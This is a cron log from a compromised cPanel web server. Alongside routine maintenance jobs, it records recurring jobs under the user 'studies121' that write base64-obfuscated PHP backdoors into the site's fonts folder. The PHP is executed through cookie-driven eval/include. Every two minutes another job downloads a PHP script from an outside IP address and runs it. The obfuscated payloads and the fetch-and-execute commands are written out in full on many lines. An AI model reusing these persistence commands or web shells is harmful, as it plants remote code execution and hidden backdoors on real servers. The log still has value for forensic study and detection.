Aug 30 22:10:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:10:01 ip-184-168-122-23 CROND[16494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:11:01 ip-184-168-122-23 CROND[16613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:11:01 ip-184-168-122-23 CROND[16615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:11:01 ip-184-168-122-23 CROND[16617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:11:01 ip-184-168-122-23 CROND[16616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:12:01 ip-184-168-122-23 CROND[16710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:12:01 ip-184-168-122-23 CROND[16709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:12:01 ip-184-168-122-23 CROND[16712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:12:01 ip-184-168-122-23 CROND[16711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:12:01 ip-184-168-122-23 CROND[16713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:13:02 ip-184-168-122-23 CROND[16823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:13:02 ip-184-168-122-23 CROND[16824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:13:02 ip-184-168-122-23 CROND[16826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:13:02 ip-184-168-122-23 CROND[16825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:14:01 ip-184-168-122-23 CROND[16977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:14:01 ip-184-168-122-23 CROND[16980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:14:01 ip-184-168-122-23 CROND[16979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:14:01 ip-184-168-122-23 CROND[16981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:14:01 ip-184-168-122-23 CROND[16982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:15:01 ip-184-168-122-23 CROND[17072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:15:01 ip-184-168-122-23 CROND[17074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:15:01 ip-184-168-122-23 CROND[17076]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 22:15:01 ip-184-168-122-23 CROND[17079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:15:01 ip-184-168-122-23 CROND[17077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:15:01 ip-184-168-122-23 CROND[17080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:15:01 ip-184-168-122-23 CROND[17082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:16:01 ip-184-168-122-23 CROND[17187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:16:01 ip-184-168-122-23 CROND[17189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:16:01 ip-184-168-122-23 CROND[17190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:16:01 ip-184-168-122-23 CROND[17192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:16:01 ip-184-168-122-23 CROND[17191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:16:01 ip-184-168-122-23 CROND[17193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:17:01 ip-184-168-122-23 CROND[17273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:17:01 ip-184-168-122-23 CROND[17274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:17:01 ip-184-168-122-23 CROND[17275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:17:01 ip-184-168-122-23 CROND[17276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:18:01 ip-184-168-122-23 CROND[17349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:18:01 ip-184-168-122-23 CROND[17353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:18:01 ip-184-168-122-23 CROND[17351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:18:01 ip-184-168-122-23 CROND[17352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:18:01 ip-184-168-122-23 CROND[17354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:19:02 ip-184-168-122-23 CROND[17443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:19:02 ip-184-168-122-23 CROND[17445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:19:02 ip-184-168-122-23 CROND[17446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:19:02 ip-184-168-122-23 CROND[17448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:20:01 ip-184-168-122-23 CROND[17530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:20:02 ip-184-168-122-23 CROND[17531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:20:02 ip-184-168-122-23 CROND[17532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:20:02 ip-184-168-122-23 CROND[17534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:20:02 ip-184-168-122-23 CROND[17535]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:20:02 ip-184-168-122-23 CROND[17537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:20:02 ip-184-168-122-23 CROND[17538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:20:02 ip-184-168-122-23 CROND[17542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:20:02 ip-184-168-122-23 CROND[17543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:21:01 ip-184-168-122-23 CROND[17725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:21:01 ip-184-168-122-23 CROND[17727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:21:02 ip-184-168-122-23 CROND[17728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:21:02 ip-184-168-122-23 CROND[17730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:22:01 ip-184-168-122-23 CROND[17809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:22:01 ip-184-168-122-23 CROND[17813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
